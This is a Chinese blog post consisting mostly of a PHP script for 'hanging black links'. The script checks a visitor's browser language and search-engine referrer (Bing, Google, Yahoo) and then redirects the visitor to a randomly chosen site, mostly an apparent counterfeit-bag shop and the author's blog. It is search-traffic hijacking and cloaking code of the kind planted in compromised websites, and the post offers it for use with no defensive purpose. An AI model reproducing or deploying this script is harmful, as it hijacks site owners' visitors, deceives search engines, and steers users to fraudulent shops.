您的位置:首页 > 运维架构 > 网站架构

php判断浏览器和系统语言通过搜索引擎随机跳转网站-挂黑链

2011-07-28 13:18 627 查看
<?

$language=$_SERVER["HTTP_ACCEPT_LANGUAGE"];

$lang="en";

if ( strpos($language,$lang) == false ){            //如果客户端的浏览器语言不是en的则不跳转

if(isset($_SERVER['HTTP_REFERER'])){                //判断源地址的链接,如果是直接访问网址则不进行跳转

$source = $_SERVER['HTTP_REFERER'];

//echo $source;

} else {

$source = '';

}

$urla="bing";

$urlb="com.hk";

$urlc="google";                                          //搜索引擎

$urld="yahoo";

if ( strpos($source,$urlb) == false ){

if (( strpos($source,$urla) == true )or( strpos($source,$urlc) == true )or( strpos($source,$urld) == true ))     //如果源地址是搜索引擎的其中一种

{                                                                                         //则继续判断

error_reporting(7);        //报错等级

$target_url=array();

for($i=0;$i<39;$i++)

{

$target_url[$i]="http://www.coachbagclearancesite.com";

}

for($i=41;$i<59;$i++)

{

$target_url[$i]="http://blog.mcshell.org";

}

for($i=60;$i<100;$i++)

{

$target_url[$i]="http://www.google.com";

}

//print_r($target_url);

//print_r(rand_array($target_url));     //调试代码

function rand_array($arr)

{

$arr_size=sizeof($arr);

$tmp_arr=array();

for($i=0;$i<$arr_size;$i++){

mt_srand((double) microtime()*1000000);              //制作随机的网址

$rd=mt_rand(0,$arr_size-1);

if($tmp_arr[$rd]=="")

{

$tmp_arr[$rd]=$arr[$i];

}

else

{

$i=$i-1;

}

}

return $tmp_arr;

}

$attack_url=rand_array($target_url);

$attackurl="com";

if ( strpos($attack_url[1],$attackurl) == true ){

//最后随机获取的那个链接

Header("Location: $attack_url[1]");

}

}

}

}

?>


本文出自 “mcshell学习博客” 博客,请务必保留此出处http://mcshell.blog.51cto.com/803455/625244
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: